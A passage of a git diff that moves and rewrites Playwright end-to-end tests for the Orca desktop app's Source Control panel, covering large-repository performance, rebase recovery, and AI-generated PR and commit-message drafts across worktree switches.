heapUsedMbPerCycle, - cycleMaxLagMs - } - } finally { - window.clearInterval(probe) - } - }, args) -} - -function logMeasurement( - label: string, - measurement: LoadMeasurement & { rendererWorkingSetMb?: { before: number; after: number } } -): void { - console.log(`[large-file-count] ${label} ${JSON.stringify(measurement)}`) -} - -// Measure all renderers’ OS working set too; JS heap misses native/DOM memory from excessive mounts. -async function readRendererWorkingSetMb(electronApp: ElectronApplication): Promise { - return await electronApp.evaluate(({ app }) => { - let totalKb = 0 - for (const metric of app.getAppMetrics()) { - if (metric.type === 'Tab') { - totalKb += metric.memory.workingSetSize - } - } - return totalKb / 1024 - }) -} - -test.describe('Source Control large file count (#8013)', () => { - test.use({ seedTestRepo: false }) - - test('a change set over the status cap degrades to the too-many-changes state', async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup - }) => { - test.setTimeout(600_000) - const untrackedFiles = 12_000 - const fixture = createLargeFileCountRepo({ untrackedFiles }) - registerPostElectronShutdownCleanup(() => removeLargeFileCountRepo(fixture.repoPath)) - try { - await waitForSessionReady(orcaPage) - await orcaPage.evaluate(() => { - const probe = { lastTick: performance.now(), maxLagMs: 0, timer: 0 } - probe.timer = window.setInterval(() => { - const now = performance.now() - probe.maxLagMs = Math.max(probe.maxLagMs, now - probe.lastTick - 50) - probe.lastTick = now - }, 50) - ;( - window as unknown as { - __sourceControlActivationLagProbe?: typeof probe - } - ).__sourceControlActivationLagProbe = probe - }) - const activationStart = performance.now() - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - const activationMs = performance.now() - activationStart - const activationMaxLagMs = await orcaPage.evaluate(() => { - const target = window as unknown as { - __sourceControlActivationLagProbe?: { - maxLagMs: number - timer: number - } - } - const probe = target.__sourceControlActivationLagProbe - if (!probe) { - return -1 - } - window.clearInterval(probe.timer) - delete target.__sourceControlActivationLagProbe - return probe.maxLagMs - }) - console.log( - `[large-file-count] initial-activation ${JSON.stringify({ activationMs, activationMaxLagMs })}` - ) - const workingSetBeforeMb = await readRendererWorkingSetMb(electronApp) - const measurement = await measureSourceControlLoad(orcaPage, { - worktreeId, - repoPath: fixture.repoPath, - // The capped payload still carries DEFAULT_GIT_STATUS_LIMIT entries; - // the panel may render them, but must stay responsive while doing so. - expectedRows: 0, - pollCycles: 1 - }) - const workingSetAfterMb = await readRendererWorkingSetMb(electronApp) - logMeasurement(`over-cap untracked=${untrackedFiles}`, { - ...measurement, - rendererWorkingSetMb: { before: workingSetBeforeMb, after: workingSetAfterMb } - }) - - const tooManyChangesBanner = orcaPage.getByTestId('too-many-changes-banner') - await expect(tooManyChangesBanner).toBeVisible() - if (process.env.ORCA_LARGE_FILE_SCREENSHOT_PATH) { - // Narrowest supported sidebar is where the banner layout is worst. - await orcaPage.evaluate((minWidth) => { - window.__store?.getState().setRightSidebarWidth(minWidth) - document.documentElement.classList.add('dark') - }, RIGHT_SIDEBAR_MIN_WIDTH) - await tooManyChangesBanner.screenshot({ - path: process.env.ORCA_LARGE_FILE_SCREENSHOT_PATH - }) - } - - expect(measurement.didHitLimit).toBe(true) - - const retryButton = tooManyChangesBanner.getByRole('button', { name: 'Retry' }) - await expect(retryButton).toBeVisible() - // Keep automatic refreshes from removing Retry before its real request starts. - await installGitStatusRetryBarrier(electronApp, fixture.repoPath) - try { - await retryButton.click() - await expect.poll(() => hasCapturedGitStatusRetry(electronApp)).toBe(true) - removeLargeFileCountUntrackedTree(fixture.repoPath) - } finally { - await restoreGitStatusRetryHandler(electronApp) - } - await expect(tooManyChangesBanner).not.toBeVisible() - await expect - .poll(() => - orcaPage.evaluate( - (wId) => window.__store?.getState().gitStatusHugeByWorktree?.[wId] ?? null, - worktreeId - ) - ) - .toBeNull() - } finally { - await unregisterLargeFileCountRepos(orcaPage, [fixture.repoPath]) - } - }) -}) diff --git a/tests/e2e/source-control-operation-recovery.spec.ts b/tests/e2e/source-control-operation-recovery.spec.ts deleted file mode 100644 index 1e325d21be0..00000000000 --- a/tests/e2e/source-control-operation-recovery.spec.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import { runProcessSync } from '@orca/process-host' -import { test, expect } from './helpers/orca-app' -import { - activateGoldenWorktree, - cleanupGoldenWorktree, - createGoldenWorktree, - GOLDEN_CHANGED_PATH -} from './helpers/golden-source-control' -import { waitForSessionReady } from './helpers/store' - -function gitInWorktree(worktreePath: string, args: string[]): string { - const result = runProcessSync({ program: 'git', args, cwd: worktreePath, timeoutMs: 10_000 }) - if (result.code !== 0) { - throw new Error(`Git fixture failed: ${result.stderr}`) - } - return result.stdout.trim() -} - -test('offers Resolve with AI for a paused rebase with no unmerged files', async ({ - orcaPage, - electronApp, - testRepoPath, - registerPostElectronShutdownCleanup -}, testInfo) => { - const fixture = createGoldenWorktree(testRepoPath, 'operation-recovery') - const baseBranch = `${fixture.branchName}-base` - registerPostElectronShutdownCleanup(async () => { - runProcessSync({ program: 'git', args: ['rebase', '--abort'], cwd: fixture.worktreePath }) - cleanupGoldenWorktree(testRepoPath, fixture) - runProcessSync({ program: 'git', args: ['branch', '-D', baseBranch], cwd: testRepoPath }) - }) - - gitInWorktree(fixture.worktreePath, ['branch', baseBranch]) - const changedPath = path.join(fixture.worktreePath, GOLDEN_CHANGED_PATH) - writeFileSync(changedPath, 'export const hello = "feature"\n') - gitInWorktree(fixture.worktreePath, ['commit', '-am', 'Feature change']) - gitInWorktree(fixture.worktreePath, ['checkout', baseBranch]) - writeFileSync(changedPath, 'export const hello = "base"\n') - gitInWorktree(fixture.worktreePath, ['commit', '-am', 'Base change']) - gitInWorktree(fixture.worktreePath, ['checkout', fixture.branchName]) - const rebase = runProcessSync({ - program: 'git', - args: ['rebase', baseBranch], - cwd: fixture.worktreePath, - timeoutMs: 10_000 - }) - expect(rebase.code).not.toBe(0) - expect(gitInWorktree(fixture.worktreePath, ['diff', '--name-only', '--diff-filter=U'])).toBe( - GOLDEN_CHANGED_PATH - ) - writeFileSync(changedPath, 'export const hello = "resolved"\n') - gitInWorktree(fixture.worktreePath, ['add', GOLDEN_CHANGED_PATH]) - - await waitForSessionReady(orcaPage) - await activateGoldenWorktree(orcaPage, testRepoPath, fixture.worktreePath) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setRightSidebarTab('explorer') - state?.setRightSidebarOpen(true) - }) - await orcaPage.getByRole('button', { name: /Source Control/ }).click() - await orcaPage.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('Missing store') - } - const state = store.getState() - if (!state.settings) { - throw new Error('Missing settings') - } - if (!state.settings.sourceControlAi) { - throw new Error('Missing AI settings') - } - store.setState({ - settings: { - ...state.settings, - sourceControlAi: { - ...state.settings.sourceControlAi, - enabled: true, - agentId: null, - actions: {}, - launchActionDefaults: {} - } - }, - ensureDetectedAgents: async () => [] - }) - state.beginRemoteOperation('fetch', 'unrelated-workspace') - }) - - const resolve = orcaPage.getByRole('button', { name: 'Resolve with AI', exact: true }) - await expect(orcaPage.getByText('Rebase in progress', { exact: true })).toBeVisible() - await expect(resolve).toBeEnabled() - await resolve.click() - await expect(orcaPage.getByRole('dialog')).toContainText('Resolve Conflicts With AI') - await expect(orcaPage.getByRole('dialog')).toHaveCSS('opacity', '1') - await orcaPage.screenshot({ path: testInfo.outputPath('rebase-recovery.png') }) - await orcaPage.getByRole('button', { name: 'Cancel', exact: true }).click() - - await orcaPage.evaluate(() => { - const store = window.__store - const settings = store?.getState().settings - if (store && settings?.sourceControlAi) { - store.setState({ - settings: { ...settings, sourceControlAi: { ...settings.sourceControlAi, enabled: false } } - }) - } - }) - await expect(resolve).toHaveCount(0) - await expect(orcaPage.getByRole('button', { name: 'Abort rebase', exact: true })).toBeVisible() - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().some((window) => window.isVisible()) - ) - ).toBe(false) -}) diff --git a/tests/e2e/source-control-pr-generation-switch.spec.ts b/tests/e2e/source-control-pr-generation-switch.spec.ts deleted file mode 100644 index 2e0ed1858fb..00000000000 --- a/tests/e2e/source-control-pr-generation-switch.spec.ts +++ /dev/null @@ -1,553 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { mkdirSync, readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { test, expect } from './helpers/source-control-generation-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - createBranchCommit, - createStagedCommitMessageChange, - openChecks, - openSourceControl, - seedCommitMessageComposer, - seedCreatePrComposer -} from './helpers/source-control-ai-generation' -import { - installDelayedCommitMessageGenerator, - installDelayedPrGenerator -} from './helpers/source-control-ai-generators' - -function readLog(pathname: string): string { - try { - return readFileSync(pathname, 'utf8') - } catch { - return '' - } -} - -async function waitForPrGenerationStored(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const records = window.__store?.getState().pullRequestGenerationRecords ?? {} - const record = Object.values(records).find( - (candidate) => candidate.context.worktreeId === worktreeId - ) - return { - status: record?.status ?? null, - title: record?.result?.title ?? null - } - }, worktreeId), - { - timeout: 10_000, - message: 'PR generation result was not stored before Source Control remount' - } - ) - .toMatchObject({ - status: 'succeeded', - title: 'Generated PR title after switch' - }) -} - -async function waitForPrGenerationHydrated(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const records = window.__store?.getState().pullRequestGenerationRecords ?? {} - const record = Object.values(records).find( - (candidate) => candidate.context.worktreeId === worktreeId - ) - return { - status: record?.status ?? null, - title: record?.result?.title ?? null, - hydrated: record?.hydrated ?? null - } - }, worktreeId), - { - timeout: 10_000, - message: 'PR generation result was not hydrated into the Source Control form' - } - ) - .toMatchObject({ - status: 'succeeded', - title: 'Generated PR title after switch', - hydrated: true - }) -} - -async function waitForCommitGenerationStored(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const records = window.__store?.getState().commitMessageGenerationRecords ?? {} - const record = records[worktreeId] - return { - status: record?.status ?? null, - message: record?.message ?? null - } - }, worktreeId), - { - timeout: 10_000, - message: 'Commit message generation result was not stored before Source Control remount' - } - ) - .toMatchObject({ - status: 'succeeded', - message: [ - 'Generated commit message after switch', - '', - 'Generated from staged e2e-commit-message-generation.txt after switching worktrees' - ].join('\n') - }) -} - -async function waitForCommitGenerationHydrated(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const records = window.__store?.getState().commitMessageGenerationRecords ?? {} - const record = records[worktreeId] - return { - status: record?.status ?? null, - message: record?.message ?? null, - hydrated: record?.hydrated ?? null - } - }, worktreeId), - { - timeout: 10_000, - message: 'Commit message generation result was not hydrated into the Source Control form' - } - ) - .toMatchObject({ - status: 'succeeded', - message: [ - 'Generated commit message after switch', - '', - 'Generated from staged e2e-commit-message-generation.txt after switching worktrees' - ].join('\n'), - hydrated: true - }) -} - -async function writeEvidence( - testInfo: TestInfo, - screenshotDir: string, - filename: string, - evidence: unknown -): Promise { - const evidencePath = path.join(screenshotDir, filename) - writeFileSync(evidencePath, `${JSON.stringify(evidence, null, 2)}\n`) - await testInfo.attach(filename, { - path: evidencePath, - contentType: 'application/json' - }) -} - -test.describe('Source Control AI PR generation worktree switching', () => { - test.describe.configure({ mode: 'serial' }) - - test('keeps checks-panel PR generation running after switching worktrees', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { primaryWorktreeId, prWorktreeId, prWorktreePath, primaryBranch } = - await seedCreatePrComposer(orcaPage) - createBranchCommit(prWorktreePath) - - const screenshotDir = path.join( - process.cwd(), - 'validation-screenshots', - `checks-pr-generation-switch-${Date.now()}` - ) - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - const generatorScriptPath = path.join(screenshotDir, 'delayed-checks-pr-generator.cjs') - const callLogPath = path.join(screenshotDir, 'delayed-checks-pr-generator.log') - await installDelayedPrGenerator(orcaPage, generatorScriptPath, callLogPath, primaryBranch) - - await openChecks(orcaPage, prWorktreeId) - const generate = orcaPage.getByRole('button', { - name: 'Generate pull request details with AI' - }) - await expect(generate).toBeVisible({ timeout: 10_000 }) - await expect(generate).toBeEnabled() - await generate.click() - await expect( - orcaPage.getByRole('button', { name: 'Stop generating pull request details' }) - ).toBeVisible() - await expect.poll(() => readLog(callLogPath)).toContain('start') - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-checks-pr-generation-pending-on-a.png') - }) - - await openChecks(orcaPage, primaryWorktreeId) - await expect(orcaPage.getByText('Generated PR title after switch')).toHaveCount(0) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '02-checks-switched-to-b-no-generated-fields.png') - }) - - await expect.poll(() => readLog(callLogPath), { timeout: 10_000 }).toContain('finish') - await openChecks(orcaPage, prWorktreeId) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request title' })).toHaveValue( - 'Generated PR title after switch', - { timeout: 10_000 } - ) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request description' })).toHaveValue( - 'Generated PR body after switch' - ) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '03-checks-returned-to-a-generated-fields.png') - }) - await writeEvidence(testInfo, screenshotDir, 'checks-pr-generation-switch-evidence.json', { - expectedOriginalWorktreeId: prWorktreeId, - expectedOtherWorktreeId: primaryWorktreeId, - generatorLog: readLog(callLogPath) - }) - }) - - test('keeps pending PR generation attached to its original worktree', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { primaryWorktreeId, prWorktreeId, prWorktreePath, primaryBranch } = - await seedCreatePrComposer(orcaPage) - createBranchCommit(prWorktreePath) - - const screenshotDir = path.join( - process.cwd(), - 'validation-screenshots', - `pr-generation-switch-${Date.now()}` - ) - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - const generatorScriptPath = path.join(screenshotDir, 'delayed-pr-generator.cjs') - const callLogPath = path.join(screenshotDir, 'delayed-pr-generator.log') - await installDelayedPrGenerator(orcaPage, generatorScriptPath, callLogPath, primaryBranch) - - await openSourceControl(orcaPage, prWorktreeId) - const generate = orcaPage.getByRole('button', { - name: 'Generate pull request details with AI' - }) - await expect(generate).toBeVisible({ timeout: 10_000 }) - await expect(generate).toBeEnabled() - await generate.click() - await expect( - orcaPage.getByRole('button', { name: 'Stop generating pull request details' }) - ).toBeVisible() - await expect - .poll(() => { - return readLog(callLogPath) - }) - .toContain('start') - const pendingEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - rightSidebarTab: state?.rightSidebarTab - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-pr-generation-pending-on-a.png') - }) - - await openSourceControl(orcaPage, primaryWorktreeId) - await expect(orcaPage.getByText('Generated PR title after switch')).toHaveCount(0) - const switchedEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - visibleGeneratedTitle: document.body.textContent?.includes( - 'Generated PR title after switch' - ) - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '02-switched-to-b-no-generated-fields.png') - }) - - await expect - .poll(() => readFileSync(callLogPath, 'utf8'), { timeout: 10_000 }) - .toContain('finish') - await waitForPrGenerationStored(orcaPage, prWorktreeId) - await openSourceControl(orcaPage, prWorktreeId) - await waitForPrGenerationHydrated(orcaPage, prWorktreeId) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request title' })).toHaveValue( - 'Generated PR title after switch', - { timeout: 10_000 } - ) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request description' })).toHaveValue( - 'Generated PR body after switch' - ) - const finalEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - title: (document.querySelector('[aria-label="Pull request title"]') as HTMLInputElement) - ?.value, - body: ( - document.querySelector('[aria-label="Pull request description"]') as HTMLTextAreaElement - )?.value - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '03-returned-to-a-generated-fields.png') - }) - await writeEvidence(testInfo, screenshotDir, 'pr-generation-evidence.json', { - expectedOriginalWorktreeId: prWorktreeId, - expectedOtherWorktreeId: primaryWorktreeId, - generatorLog: readLog(callLogPath), - pending: pendingEvidence, - switchedAway: switchedEvidence, - returned: finalEvidence - }) - }) - - test('hydrates pending PR generation after Source Control remounts', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { prWorktreeId, prWorktreePath, primaryBranch } = await seedCreatePrComposer(orcaPage) - createBranchCommit(prWorktreePath) - - const screenshotDir = path.join( - process.cwd(), - 'validation-screenshots', - `pr-generation-remount-${Date.now()}` - ) - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - const generatorScriptPath = path.join(screenshotDir, 'delayed-pr-generator.cjs') - const callLogPath = path.join(screenshotDir, 'delayed-pr-generator.log') - await installDelayedPrGenerator(orcaPage, generatorScriptPath, callLogPath, primaryBranch) - - await openSourceControl(orcaPage, prWorktreeId) - const generate = orcaPage.getByRole('button', { - name: 'Generate pull request details with AI' - }) - await expect(generate).toBeVisible({ timeout: 10_000 }) - await expect(generate).toBeEnabled() - await generate.click() - await expect( - orcaPage.getByRole('button', { name: 'Stop generating pull request details' }) - ).toBeVisible() - await expect.poll(() => readLog(callLogPath)).toContain('start') - - await orcaPage.evaluate(() => { - window.__store?.getState().setRightSidebarTab('explorer') - }) - await expect( - orcaPage.getByRole('button', { name: 'Stop generating pull request details' }) - ).toHaveCount(0) - await expect - .poll(() => readFileSync(callLogPath, 'utf8'), { timeout: 10_000 }) - .toContain('finish') - await waitForPrGenerationStored(orcaPage, prWorktreeId) - - await openSourceControl(orcaPage, prWorktreeId) - await waitForPrGenerationHydrated(orcaPage, prWorktreeId) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request title' })).toHaveValue( - 'Generated PR title after switch', - { timeout: 10_000 } - ) - await expect(orcaPage.getByRole('textbox', { name: 'Pull request description' })).toHaveValue( - 'Generated PR body after switch' - ) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-remounted-source-control-hydrated-pr-fields.png') - }) - await writeEvidence(testInfo, screenshotDir, 'pr-generation-remount-evidence.json', { - expectedOriginalWorktreeId: prWorktreeId, - generatorLog: readLog(callLogPath) - }) - }) - - test('keeps pending commit message generation attached to its original worktree', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { primaryWorktreeId, commitWorktreeId, commitWorktreePath } = - await seedCommitMessageComposer(orcaPage) - createStagedCommitMessageChange(commitWorktreePath) - - const screenshotDir = path.join( - process.cwd(), - 'validation-screenshots', - `commit-message-generation-switch-${Date.now()}` - ) - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - const generatorScriptPath = path.join(screenshotDir, 'delayed-commit-generator.cjs') - const callLogPath = path.join(screenshotDir, 'delayed-commit-generator.log') - await installDelayedCommitMessageGenerator(orcaPage, generatorScriptPath, callLogPath) - - await openSourceControl(orcaPage, commitWorktreeId) - await expect( - orcaPage - .getByTestId('source-control-entry') - .getByText('e2e-commit-message-generation.txt', { exact: true }) - ).toBeVisible({ timeout: 10_000 }) - const generate = orcaPage.getByRole('button', { - name: 'Generate commit message with AI' - }) - await expect(generate).toBeVisible({ timeout: 10_000 }) - await expect(generate).toBeEnabled() - await generate.click() - await expect( - orcaPage.getByRole('button', { name: 'Stop generating commit message' }) - ).toBeVisible() - await expect - .poll(() => { - return readLog(callLogPath) - }) - .toContain('start') - const pendingEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - commitMessage: ( - document.querySelector('[aria-label="Commit message"]') as HTMLTextAreaElement - )?.value - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-commit-message-generation-pending-on-a.png') - }) - - await openSourceControl(orcaPage, primaryWorktreeId) - await expect(orcaPage.getByText('Generated commit message after switch')).toHaveCount(0) - await expect( - orcaPage.getByRole('button', { name: 'Stop generating commit message' }) - ).toHaveCount(0) - const switchedEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - visibleGeneratedMessage: document.body.textContent?.includes( - 'Generated commit message after switch' - ) - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '02-switched-to-b-no-generated-commit-message.png') - }) - - await expect - .poll(() => readFileSync(callLogPath, 'utf8'), { timeout: 10_000 }) - .toContain('finish') - await waitForCommitGenerationStored(orcaPage, commitWorktreeId) - await openSourceControl(orcaPage, commitWorktreeId) - await waitForCommitGenerationHydrated(orcaPage, commitWorktreeId) - await expect(orcaPage.getByRole('textbox', { name: 'Commit message' })).toHaveValue( - 'Generated commit message after switch\n\nGenerated from staged e2e-commit-message-generation.txt after switching worktrees', - { timeout: 10_000 } - ) - const finalEvidence = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - return { - activeWorktreeId: state?.activeWorktreeId, - commitMessage: ( - document.querySelector('[aria-label="Commit message"]') as HTMLTextAreaElement - )?.value - } - }) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '03-returned-to-a-generated-commit-message.png') - }) - await writeEvidence(testInfo, screenshotDir, 'commit-message-generation-evidence.json', { - expectedOriginalWorktreeId: commitWorktreeId, - expectedOtherWorktreeId: primaryWorktreeId, - generatorLog: readLog(callLogPath), - pending: pendingEvidence, - switchedAway: switchedEvidence, - returned: finalEvidence - }) - }) - - test('hydrates pending commit message generation after Source Control remounts', async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const { commitWorktreeId, commitWorktreePath } = await seedCommitMessageComposer(orcaPage) - createStagedCommitMessageChange(commitWorktreePath) - - const screenshotDir = path.join( - process.cwd(), - 'validation-screenshots', - `commit-message-generation-remount-${Date.now()}` - ) - mkdirSync(screenshotDir, { recursive: true }) - await testInfo.attach('validation-screenshot-dir', { - body: screenshotDir, - contentType: 'text/plain' - }) - const generatorScriptPath = path.join(screenshotDir, 'delayed-commit-generator.cjs') - const callLogPath = path.join(screenshotDir, 'delayed-commit-generator.log') - await installDelayedCommitMessageGenerator(orcaPage, generatorScriptPath, callLogPath) - - await openSourceControl(orcaPage, commitWorktreeId) - const generate = orcaPage.getByRole('button', { - name: 'Generate commit message with AI' - }) - await expect(generate).toBeVisible({ timeout: 10_000 }) - await expect(generate).toBeEnabled() - await generate.click() - await expect( - orcaPage.getByRole('button', { name: 'Stop generating commit message' }) - ).toBeVisible() - await expect.poll(() => readLog(callLogPath)).toContain('start') - - await orcaPage.evaluate(() => { - window.__store?.getState().setRightSidebarTab('explorer') - }) - await expect( - orcaPage.getByRole('button', { name: 'Stop generating commit message' }) - ).toHaveCount(0) - await expect - .poll(() => readFileSync(callLogPath, 'utf8'), { timeout: 10_000 }) - .toContain('finish') - await waitForCommitGenerationStored(orcaPage, commitWorktreeId) - - await openSourceControl(orcaPage, commitWorktreeId) - await waitForCommitGenerationHydrated(orcaPage, commitWorktreeId) - await expect(orcaPage.getByRole('textbox', { name: 'Commit message' })).toHaveValue( - [ - 'Generated commit message after switch', - '', - 'Generated from staged e2e-commit-message-generation.txt after switching worktrees' - ].join('\n'), - { timeout: 10_000 } - ) - await orcaPage.screenshot({ - path: path.join(screenshotDir, '01-remounted-source-control-hydrated-message.png') - }) - await writeEvidence( - testInfo, - screenshotDir, - 'commit-message-generation-remount-evidence.json', - { - expectedOriginalWorktreeId: commitWorktreeId, - generatorLog: readLog(callLogPath) - } - ) - }) -}) diff --git a/tests/e2e/git-churn-load.ts b/tests/e2e/source-control/git-churn-load.ts similarity index 100% rename from tests/e2e/git-churn-load.ts rename to tests/e2e/source-control/git-churn-load.ts diff --git a/tests/e2e/large-diff-repro-fixtures.ts b/tests/e2e/source-control/large-diff-repro-fixtures.ts similarity index 100% rename from tests/e2e/large-diff-repro-fixtures.ts rename to tests/e2e/source-control/large-diff-repro-fixtures.ts diff --git a/tests/e2e/large-file-count-fixtures.ts b/tests/e2e/source-control/large-file-count-fixtures.ts similarity index 100% rename from tests/e2e/large-file-count-fixtures.ts rename to tests/e2e/source-control/large-file-count-fixtures.ts diff --git a/tests/e2e/helpers/pr-comments-sidebar-fixture.ts b/tests/e2e/source-control/pr-comments-sidebar-fixture.ts similarity index 100% rename from tests/e2e/helpers/pr-comments-sidebar-fixture.ts rename to tests/e2e/source-control/pr-comments-sidebar-fixture.ts diff --git a/tests/e2e/helpers/source-control-ai-generation.ts b/tests/e2e/source-control/source-control-ai-generation.ts similarity index 100% rename from tests/e2e/helpers/source-control-ai-generation.ts rename to tests/e2e/source-control/source-control-ai-generation.ts diff --git a/tests/e2e/helpers/source-control-ai-generators.ts b/tests/e2e/source-control/source-control-ai-generators.ts similarity index 100% rename from tests/e2e/helpers/source-control-ai-generators.ts rename to tests/e2e/source-control/source-control-ai-generators.ts diff --git a/tests/e2e/source-control-commit-message-ai.spec.ts b/tests/e2e/source-control/source-control-commit-message-ai.spec.ts similarity index 91% rename from tests/e2e/source-control-commit-message-ai.spec.ts rename to tests/e2e/source-control/source-control-commit-message-ai.spec.ts index 6a0e8a536d5..f6a0aad16d8 100644 --- a/tests/e2e/source-control-commit-message-ai.spec.ts +++ b/tests/e2e/source-control/source-control-commit-message-ai.spec.ts @@ -2,10 +2,11 @@ import { execFileSync } from 'node:child_process' import { rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { writeLinkedIssueEchoGenerator } from './helpers/source-control-ai-generators' -import { waitForSessionReady } from './helpers/store' -import { openSourceControlForWorktree } from './helpers/worktree-registration' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { writeLinkedIssueEchoGenerator } from './source-control-ai-generators' +import { waitForSessionReady } from '../desktop/renderer-probes/store' +import { openSourceControlForWorktree } from '../workspaces/repository-fixtures/worktree-registration' function createWorktreeWithStagedChange(repoPath: string): { branchName: string diff --git a/tests/e2e/source-control-create-pr.spec.ts b/tests/e2e/source-control/source-control-create-pr.spec.ts similarity index 96% rename from tests/e2e/source-control-create-pr.spec.ts rename to tests/e2e/source-control/source-control-create-pr.spec.ts index d9136560e46..b00b75e7894 100644 --- a/tests/e2e/source-control-create-pr.spec.ts +++ b/tests/e2e/source-control/source-control-create-pr.spec.ts @@ -1,7 +1,8 @@ import type { Locator, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import type { CreateHostedReviewResult } from '../../src/shared/source-control/hosted-review/hosted-review-contracts' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../desktop/renderer-probes/store' +import type { CreateHostedReviewResult } from '../../../src/shared/source-control/hosted-review/hosted-review-contracts' type CreatePRPayload = { repoPath: string diff --git a/tests/e2e/source-control-discard-confirmation.spec.ts b/tests/e2e/source-control/source-control-discard-confirmation.spec.ts similarity index 96% rename from tests/e2e/source-control-discard-confirmation.spec.ts rename to tests/e2e/source-control/source-control-discard-confirmation.spec.ts index 0e0cb9c191f..97a8e18ba51 100644 --- a/tests/e2e/source-control-discard-confirmation.spec.ts +++ b/tests/e2e/source-control/source-control-discard-confirmation.spec.ts @@ -1,5 +1,6 @@ -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../desktop/renderer-probes/store' import type { Locator, Page } from '@playwright/test' type SeededUntrackedFile = { diff --git a/tests/e2e/helpers/source-control-generation-app.ts b/tests/e2e/source-control/source-control-generation-app.ts similarity index 74% rename from tests/e2e/helpers/source-control-generation-app.ts rename to tests/e2e/source-control/source-control-generation-app.ts index 220647397d0..d4822a17634 100644 --- a/tests/e2e/helpers/source-control-generation-app.ts +++ b/tests/e2e/source-control/source-control-generation-app.ts @@ -1,8 +1,7 @@ -import { test as base, expect } from './orca-app' -import { createSeededTestRepo } from './seeded-test-repo' -import { cleanupTestRepository } from '../global-teardown' +import { test as base } from '../desktop/electron-fixtures/orca-app' -export { expect } +import { createSeededTestRepo } from '../workspaces/repository-fixtures/seeded-test-repo' +import { cleanupTestRepository } from '../global-teardown' export const test = base.extend({ seededRepoPath: async ({ registerPostElectronShutdownCleanup }, provideFixture) => { diff --git a/tests/e2e/source-control/source-control-pr-generation-switch.spec.ts b/tests/e2e/source-control/source-control-pr-generation-switch.spec.ts new file mode 100644 index 00000000000..69c10ced85e --- /dev/null +++ b/tests/e2e/source-control/source-control-pr-generation-switch.spec.ts @@ -0,0 +1,100 @@ +import { mkdirSync, readFileSync, writeFileSync } from 'node:fs' +import path from 'node:path' +import { test } from './source-control-generation-app' +import { type TestInfo, expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../desktop/renderer-probes/store' +import { + createBranchCommit, + openChecks, + seedCreatePrComposer +} from './source-control-ai-generation' +import { installDelayedPrGenerator } from './source-control-ai-generators' + +function readLog(pathname: string): string { + try { + return readFileSync(pathname, 'utf8') + } catch { + return '' + } +} + +async function writeEvidence( + testInfo: 